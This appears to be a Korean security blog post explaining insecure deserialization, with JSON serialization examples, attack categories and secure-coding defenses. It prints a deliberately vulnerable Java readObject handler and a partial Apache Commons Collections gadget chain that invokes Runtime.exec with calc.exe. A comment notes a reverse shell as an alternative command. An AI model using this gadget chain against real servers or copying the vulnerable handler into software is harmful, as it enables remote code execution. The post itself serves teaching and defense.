Security/Web Security

안전하지 않은 역직렬화(Insecure Deserialization) 취약점

테크리빗 2026. 8. 26. 19:06
728x90
반응형

웹 개발 및 클라우드 인프라 환경에서 데이터를 주고받을 때 필수적인 직렬화(Serialization)와 역직렬화(Deserialization)의 기본 개념을 알아보고, OWASP Top 10에 등재될 만큼 치명적인 안전하지 않은 역직렬화(Insecure Deserialization) 취약점의 원리와 시큐어 코딩 방어 대책까지 보안 관점에서 알아보겠습니다.

 

(주의) 포스팅은 보안 취약점에 대한 이해와 안전한 방어 대책을 연구하기 위한 교육 목적으로 작성되었습니다. 사전 협의되지 않은 시스템에 해당 기법을 시도하는 것은 불법이며, 이로 인해 발생하는 모든 책임은 공격자 본인에게 있습니다.

 

직렬화(Serialization)와 역직렬화(Deserialization)란

직렬화(Serialization)는 컴퓨터 메모리 안에 복잡하게 얽혀 있는 데이터 구조나 객체 상태를 저장하거나 전송할 수 있는 형태(예: JSON, XML, 바이트 스트림)로 변환하는 과정을 말합니다.

 

가장 널리 쓰이는 텍스트 포맷인 JSON을 이용해 게임 속 전사 캐릭터를 저장하고 전송하는 상황을 예로 들어보겠습니다.

 

1. 메모리 속 캐릭터 상태 (포장 전) 컴퓨터 내부에서는 이 데이터들이 프로그램 코드로 복잡하게 얽혀 있습니다.

  • 이름: 불꽃전사
  • 레벨: 25
  • 소지 아이템: 전설의 검, 회복 물약 3개

2. 직렬화된 결과 (포장 후) 이 복잡한 상태를 네트워크를 통해 인터넷으로 보내기 위해, 누구나 읽고 처리할 수 있는 텍스트 문자열로 변환합니다. 이 과정을 직렬화(Serialization)라고 합니다.

{
  "name": "불꽃전사",
  "level": 25,
  "inventory": ["전설의 검", "회복 물약"]
}

 

이제 이 글자 덩어리를 서버나 친구의 컴퓨터로 전송합니다. 데이터를 받은 컴퓨터는 이 텍스트를 읽어 들이고, 화면에 레벨 25짜리 '불꽃전사' 캐릭터를 내 것과 똑같이 복원해 냅니다. 이처럼 전송받은 포장 데이터(JSON)를 다시 원래의 복잡한 객체 형태로 조립하는 과정을 역직렬화(Deserialization)라고 합니다.

 

직렬화와 역직렬화가 필요한 이유

그렇다면 굳이 멀쩡한 객체를 분해해서 포장하는 수고를 거치는 이유는 무엇일까요? 컴퓨터의 메모리(RAM)는 전원을 끄면 내용이 모두 날아가 버리고, 내 컴퓨터와 다른 컴퓨터는 서로 직접 연결되어 있지 않기 때문입니다. 데이터를 안전하게 보관하거나 멀리 보내려면 직렬화가 반드시 필요합니다.

 

 

  • 네트워크 통신 (API 데이터 전송): 클라이언트와 서버 간 데이터 전송 시, 혹은 MSA 환경에서 컨테이너 간 통신 시 객체를 직렬화하여 네트워크로 전송하고 수신 측에서 역직렬화하여 사용합니다.
  • 데이터 영구 저장 (DB 및 파일): 객체의 상태를 파일 시스템이나 데이터베이스에 저장할 때, 바이트 스트림으로 변환하여 기록한 뒤 추후 읽어 들여 객체 상태를 복원합니다.
  • 인메모리 캐싱: 시스템 성능 향상을 위해 Redis, Memcached 등에 자주 쓰는 데이터를 캐싱할 때, 데이터를 직렬화하여 효율적으로 저장하고 빠르게 꺼내어 씁니다.

 

데이터 직렬화 포맷의 종류

데이터를 포장하는 방식에는 크게 텍스트 기반, 이진(Binary) 기반, 언어 종속적 방식으로 나눌 수 있습니다

종류 특징 장점 단점 주요 사용처
JSON (텍스트 포맷) 사람이 읽을 수 있는 글자 형태 ({"name": "test"}) 가독성이 뛰어나고 이기종 언어 간 호환성이 매우 높음 데이터 크기가 상대적으로 큼 REST API, 웹/모바일 통신
이진 (Binary 포맷) 기계어 형태의 바이트 스트림 (예: Protocol Buffers) 데이터 크기가 작고 직렬화/역직렬화 속도가 압도적임 디버깅 시 사람이 눈으로 내용을 확인하기 어려움 gRPC, 대규모 분산 시스템
언어 전용 포맷 특정 언어 고유의 방식 (예: Java 직렬화, Python Pickle) 복잡한 객체 그래프를 코드 몇 줄로 손쉽게 처리 가능 타 언어와 호환이 안 되며, 보안 취약점 발생 가능성이 큼 단일 언어로 구성된 레거시 시스템

 

 

안전하지 않은 역직렬화 (Insecure Deserialization)

직렬화/역직렬화는 필수적인 기술이지만, 치명적인 보안 약점을 동반합니다. 전송 중인 데이터 상자를 해커가 가로채어 그 안에 악성 페이로드를 집어넣는다면 시스템에 심각한 위협이 됩니다.

수신 측에서 검증되지 않은 외부 입력값을 의심 없이 그대로 역직렬화(조립)할 때 발생하는 취약점을 '안전하지 않은 역직렬화(Insecure Deserialization)'라고 부르며, 이를 통해 다음과 같은 치명적인 공격이 가능합니다.

 

  • 원격 코드 실행 (RCE): 공격자가 조작된 바이트 스트림을 전송하여, 타깃 서버에서 역직렬화가 수행되는 순간 악성 명령어나 셸 코드가 실행되도록 페이로드를 전달합니다.
  • 가젯 체인 (Gadget Chains): 타깃 시스템 내부 라이브러리에 이미 존재하는 정상적인 클래스들의 메서드(예: Java의 readObject())가 연쇄적으로 호출되도록 조작하여, 최종적으로 시스템 장악을 이끌어냅니다. (예: ysoserial 도구를 활용한 Java 공격, Python의 pickle 원격 코드 실행)
  • 권한 상승 및 무결성 침해: 로그인 세션 쿠키가 직렬화되어 저장되는 구조일 경우, 공격자가 쿠키를 디코딩하여 isAdmin=true와 같이 값을 변조한 뒤 재직렬화하여 서버로 보내 관리자 권한을 탈취합니다.
  • 서비스 거부 (DoS): 역직렬화 과정에서 메모리를 끝없이 소모하게 만들거나 무한 루프를 유발하는 폭탄 데이터를 주입하여 서버 자원을 고갈시킵니다.

 

Java 환경의 위험한 역직렬화 (가젯 체인 공격)

 

가젯 체인(Gadget Chain)이란?

가젯(Gadget)은 타깃 애플리케이션이나 라이브러리(클래스패스) 내부에 이미 존재하는 정상적인 클래스를 의미합니다. 해커는 이 정상적인 클래스들의 메서드(readObject)들을 교묘하게 엮어서, 역직렬화가 일어날 때 연쇄적인 호출이 발생하도록 조작합니다. 이렇게 정상적인 클래스(Gadget)들이 연쇄적인(Chain) 형태로 호출이 발생한다고 하여 가젯 체인(Gadget Chain)이라고 부릅니다.

 

가장 대표적이고 파급력이 컸던 사례는 Apache Commons Collections 라이브러리의 InvokerTransformer를 악용한 가젯 체인입니다.

 

취약한 서버의 역직렬화 코드

먼저, 타깃 서버에는 외부 입력을 검증 없이 수용하는 전형적인 취약 코드가 있다고 가정합니다.

// 서버 측: 외부에서 전송된 바이트 스트림을 그대로 객체로 복원(역직렬화)
public void handleSerializedData(byte[] serializedData) throws Exception {
    ByteArrayInputStream bais = new ByteArrayInputStream(serializedData);
    ObjectInputStream ois = new ObjectInputStream(bais);
    
    // 이 메서드가 호출되는 순간, 페이로드 내의 가젯 체인이 연쇄적으로 작동합니다.
    Object obj = ois.readObject(); 
    ois.close();
}

 

 

해커의 공격 페이로드 작성 (Apache Commons Collections 사례)

해커는 타깃 서버에 Apache Commons Collections 라이브러리가 존재한다는 것을 알고, 다음과 같이 악의적인 가젯 체인을 구성하여 바이트 스트림으로 직렬화한 뒤 서버로 전송합니다.

// 공격자 측: 악의적인 가젯 체인 생성
// 1. 실행할 악성 명령어 (예: 계산기 실행 또는 리버스 셸)
String command = "calc.exe"; 

// 2. Transformer 배열 구성: Runtime.getRuntime().exec(command)를 리플렉션으로 연쇄 호출되도록 조작
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
    new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { command })
};

// 3. ChainedTransformer로 묶음: 하나가 실행되면 다음 Transformer로 결과가 전달됨
Transformer transformerChain = new ChainedTransformer(transformers);

// 4. Map 객체에 Transformer 연결: Map에 데이터가 추가/수정될 때마다 transformerChain이 실행되도록 설정
Map innerMap = new HashMap();
Map outmap = TransformedMap.decorate(innerMap, null, transformerChain);

// 5. AnnotationInvocationHandler(매직 메서드를 가진 클래스)를 통해 readObject() 시점에 Map이 조작되도록 래핑
// (이후 outmap을 직렬화하여 서버로 전송)
 
 

가젯 체인의 연쇄 실행 원리

서버가 ois.readObject()를 호출하여 공격자의 데이터를 역직렬화하는 순간, 다음과 같은 도미노 현상이 일어납니다.

  • 1단계 (트리거): 가장 바깥에 래핑된 AnnotationInvocationHandler 객체의 readObject() 매직 메서드가 자동으로 호출됩니다.
  • 2단계 (연결): 해당 readObject() 내부 로직에 의해, 래핑해 두었던 TransformedMap의 데이터 조작(접근)이 발생합니다.
  • 3단계 (실행): TransformedMap은 데이터가 변경될 때마다 연결된 ChainedTransformer를 실행하도록 설계되어 있습니다.
  • 4단계 (RCE): 미리 세팅된 InvokerTransformer들이 순차적으로 실행되면서 결국 Runtime.getRuntime().exec("calc.exe")가 호출되어, 타깃 서버에서 해커의 명령어가 실행됩니다.
 

역직렬화 취약점 대응 및 시큐어 코딩 방안

이러한 취약점을 방어하고 안전한 인프라 환경을 구축하기 위해 다음과 같은 보안 대책을 적용해야 합니다.

 

  1. 신뢰할 수 없는 데이터의 역직렬화 금지: 가장 확실한 방법은 외부에서 입력된 데이터에 대해 언어 내장 역직렬화(예: Java ObjectInputStream)를 사용하지 않는 것입니다.
  2. 안전한 표준 포맷 사용: 복잡한 객체 직렬화 대신 JSON, XML과 같은 순수 데이터 포맷을 사용하고, 데이터 매핑 라이브러리를 통해 안전하게 파싱합니다.
  3. 무결성 검증 (디지털 서명/HMAC): 상태 정보(세션 등)를 직렬화하여 클라이언트에 저장해야 한다면, 반드시 디지털 서명이나 암호화를 적용하여 위변조 여부를 서버에서 검증해야 합니다.
  4. 엄격한 화이트리스트 적용: 역직렬화가 불가피하다면, 허용된 안전한 클래스만 역직렬화되도록 타입 캐스팅 단계에서 화이트리스트 기반의 검증 로직을 구현합니다.
728x90
반응형